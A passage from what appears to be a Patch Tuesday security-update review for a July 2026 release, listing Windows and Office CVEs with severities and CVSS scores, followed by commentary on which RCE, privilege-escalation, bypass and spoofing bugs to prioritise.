Netlogon\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50476\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50450\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56650\n  Windows Network File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56649\n  Windows Network File\n  System Remote Code Execution Vulnerability\n  Important\n  5.9\n  No\n  No\n  RCE\n \n \n  CVE-2026-50470\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50496\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56194\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56648\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50337\n  Windows Notification\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49789\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50412\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50422\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50672\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56175\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56182\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50341\n  Windows NTFS\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58640\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-49184\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-49797\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50308\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50386\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50309\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50313\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50388\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50448\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50471\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50461\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50417\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50482\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-50494\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50344\n  Windows OLE Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50686\n  Windows OLE Remote\n  Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-50335\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50317\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54987\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50435\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50409\n  Windows Overlay Filter\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40400\n  Windows PowerShell\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49166\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55004\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50499\n  Windows Print Spooler\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50383\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57085\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50469\n  Windows Projected File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50434\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50339\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50430\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50334\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-44800\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50363\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50431\n  Windows Quality of\n  Service (QoS) Packet Scheduler Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50372\n  Windows Redirected\n  Drive Buffering System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50666\n  Windows Remote Access\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56647\n  Windows Remote Access\n  Service Infrastructure Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50330\n  Windows Remote Desktop\n  Client Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50376\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50504\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58533\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58535\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58546\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58539\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55003\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57979\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50445\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50497\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54126\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57982\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50369\n  Windows Remote Desktop\n  Services Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58626\n  Windows Remote Desktop\n  Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55014\n  Windows Remote Help\n  Defense Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50318\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50407\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50357\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50441\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50668\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54109\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49792\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49793\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50362\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50492\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50501\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58530\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49791\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50451\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57096\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50323\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50452\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50348\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50345\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50322\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50340\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50410\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50449\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50460\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50403\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50385\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50413\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50457\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50486\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50503\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54125\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58527\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50373\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50679\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-44806\n  Windows Secure Channel\n  Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-50681\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56186\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  8.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50367\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58619\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50311\n  Windows Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50328\n  Windows Server Update\n  Service (WSUS) Tampering Vulnerability\n  Important\n  7.5\n  No\n  No\n  Tampering\n \n \n  CVE-2026-58531\n  Windows SMB Elevation\n  of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-54997\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-49801\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50690\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56168\n  Windows SMB Server\n  Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50360\n  Windows SMB Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57089\n  Windows SMB Server\n  Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50333\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50298\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49171\n  Windows Speech Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49170\n  Windows\n  StateRepository API Server file Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58526\n  Windows Storage\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50299\n  Windows Storage Spaces\n  Direct Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57968\n  Windows Subsystem for\n  Linux (WSL2) Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57973\n  Windows Subsystem for\n  Linux (WSL2) Kernel Tampering Vulnerability\n  Important\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50418\n  Windows System Secure\n  Feature Bypass Vulnerability\n  Important\n  5.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50306\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50307\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49177\n  Windows TCP/IP\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50669\n  Windows Telephony\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54124\n  Windows Terminal\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50350\n  Windows Trusted\n  Runtime Interface Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50326\n  Windows Unified\n  Consent System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49790\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50498\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58547\n  Windows Universal Plug\n  and Play (UPnP) Device Host Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49794\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  4.6\n  No\n  No\n  Info\n \n \n  CVE-2026-50453\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58528\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-50321\n  Windows USB Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50479\n  Windows USB Hub Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55000\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-54991\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54996\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49802\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49806\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50674\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49804\n  Windows USB Video\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.6\n  No\n  No\n  EoP\n \n \n  CVE-2026-50454\n  Windows User Interface\n  Core Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49176\n  Windows WalletService\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49800\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50480\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56173\n  Windows WebView\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58632\n  Windows Win32 Kernel\n  Subsystem Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54107\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54986\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54112\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54114\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50670\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50688\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50687\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56176\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58628\n  Windows Wireless\n  Network Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50295\n  Windows Zero Trust DNS\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50509\n  Wireless Wide Area\n  Network Service (WwanSvc) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55945\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Moderate\n  4.2\n  No\n  No\n  Info\n \n \n  CVE-2026-45488\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-45489\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55145\n  Outlook Copilot\n  Tampering Vulnerability\n  Moderate\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-56181\n  Windows Network\n  Address Translation (NAT) Spoofing Vulnerability\n  Moderate\n  8.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58597\n  Microsoft\n  Edge (Chromium-based) Spoofing Vulnerability\n  Low\n  4.3\n  No\n  No\n  Spoofing\n \n \n \n  \n  \n  \n  \n  \n  \n  \n \n \n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \n** Indicates this CVEs has already been resolved by Microsoft, and no further action is needed by the end user.\n \n \nI\u2019ll do my best to summarize everything else in this release, but no promises. I\u2019m only human after all.\n \nLooking at the remaining Critical-rated patches, Office is its own weather system: fourteen Word/Excel/PowerPoint/Office RCEs clustered at CVSS 7.8, plus five Windows Media Foundation RCEs. Outside of the Preview Pane attack vector, they are individually unremarkable; collectively, patch Office and reboot. Always reboot. We\u2019ve already mentioned DHCP some, but DHCP Server can't catch a break. Beyond the one already covered, add CVE-2026-56159, CVE-2026-48564, CVE-2026-50370, and DHCP Client cousin CVE-2026-54128. Five DHCP RCEs in one release. Rounding things out, Print Spooler (CVE-2026-58608), Windows TCP/IP (CVE-2026-54999), and a SQL Server RCE pair (CVE-2026-54117/54118) all receive patches, and all are rated a CVSS 8.8. VE-2026-55944 (Dynamics NAV/Business Central On-Prem RCE, 9.8) is the same deserialization flavor as the SharePoint pair; it\u2019s unauthenticated, network-reachable, and easy to overlook since it's not SharePoint. CVE-2026-48561 (Microsoft Copilot RCE, 9.6) and CVE-2026-50380 (Windows GDI+ RCE, 9.6) round out the near-top tier. Don't forget CVE-2026-55040, a SharePoint Security Feature Bypass (9.1) \u2014 patch it in the same pass as the SharePoint RCE pair since it's the same product family. Identity and infrastructure get hit too: CVE-2026-54121 (AD Certificate Services EoP, 8.8) and CVE-2026-50444 (WSUS EoP, 8.8). The obscure Reliable Multicast Transport Driver (RMCAST) takes two RCEs (CVE-2026-54982, CVE-2026-54995), and CVE-2026-50474 gives Remote Desktop Client its own RCE, separate from the RDP one already covered. The rest is a long tail: Defender RCE x2, GDI+ again, Windows Media x2, Secure Kernel Mode EoP x2, and a second Hyper-V EoP. You can consider these \u201cnormal\u201d as far as patch cadence goes.\nThat leaves us with 95 RCE to discuss. I would explain, but there is too much, so let me sum up. CVE-2026-55944 (Dynamics NAV/Business Central On-Prem, 9.8) is the same deserialization flavor as the SharePoint pair: unauthenticated, easy to miss since it's not SharePoint. CVE-2026-54990 (Remote Desktop Client), CVE-2026-49172 (Windows FTP Service), and CVE-2026-50447 (MSMQ) all hit 9.8 too, proof severity labels lag CVSS sometimes. CVE-2026-48561 (Copilot) and CVE-2026-50380 (GDI+) sit at 9.6.\nThe pattern worth watching: 14 Windows NTFS and 7 ReFS RCEs/ That makes 21 filesystem-driver bugs, an unusually large cluster suggesting a shared root cause. Microsoft Edge (Chromium-based) contributes 21 more that are genuinely Microsoft's to patch, not Chromium re-listing noise. Remote Desktop Client racks up a second and third RCE (CVE-2026-50474, CVE-2026-58594), and Windows Admin Center picks up two (CVE-2026-56196/56197) \u2014 WAC exposure keeps creeping into these releases. Exchange Server (CVE-2026-55005) and AD Domain Services (CVE-2026-49178) both land at 8.8.\nAnd because this release wouldn't be complete without it: CVE-2026-50663, an RCE in Age of Empires II: Definitive Edition. Yes, really. Patch your civilization anyway.\nThere are close to 260 EoP bugs in this month\u2019s release. Microsoft could have just published the EoPs and still had a record-setting month. As usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there\u2019s not much to add without further technical details about the bugs themselves. What\u2019s really frustrating is that 94 have no explicit privilege statement at all. Microsoft just says \u201celevate privileges\u201d with no detail. By my count, that leaves around 25 bugs to consider. Some don\u2019t elevate at all. The FAQ literally says the attacker just gets \u201cthe rights of the user running the affected application.\u201d That covers Win32k, Clip Service, Search Service, MSMQ, and SharePoint. A few get a Low-to-Medium integrity bump. There are also a couple that lead to downgraded service accounts or arbitrary file deletion, but nothing else I\u2019ve seen really stands out too much.\nThere are 20 Security Feature Bypass (SFB) bugs this month, and it's a genuinely mixed bag. CVE-2026-55040 leads at Critical, CVSS 9.1 as it\u2019s weak authentication in SharePoint Server. Patch it in the same pass as the SharePoint RCE pair since it's the same product. The AI-coding-tool trend continues: GitHub Copilot and Visual Studio Code and Visual Studio all land SFB bugs, mostly injection or path-traversal flavored. BitLocker is this month's lone publicly disclosed bug. It\u2019s not exploited yet, but public disclosure is a countdown clock, not a free pass. It requires physical access, as does the bug in Microsoft XML. The firmware/boot cluster is worth a second look: Secure Boot, Boot Loader, and Key Guard all touch the trust chain below the OS. Meaning, despite a low CVSS score, \u201cif this fails, nothing above it can be trusted\u201d stakes. Rounding out the SFB patches, there are two .NET SFBs, two Windows Kernel SFBs, and a DNS/Cryptographic Services bringing up the rear.\nThe July release includes 31Spoofing bugs this month, and we\u2019ve already covered the most important (Exchange). SharePoint Server accounts for another ten with almost all the same root cause: stored XSS letting an authenticated attacker spoof content in the browser. Microsoft Edge (Chromium-based) contributes fifteen more spanning access-control failures, SSRF, type confusion, and UI misrepresentation. All genuinely Microsoft's to patch, not re-listed Chromium noise. The remaining six round out the usual suspects: a Windows NAT spoofing bug reachable from an adjacent network, a Bing app flaw on iOS, a PowerBI Report Server XSS issue, a .NET output-encoding bug, and an AD FS spoofing flaw. None publicly disclosed, none exploited, but with SharePoint's history this year, don't let \"just Spoofing\" lull you into deprioritizing the patch cycle.\nOf 111 Information Disclosure bugs, the overwhelming majority of these simply result in 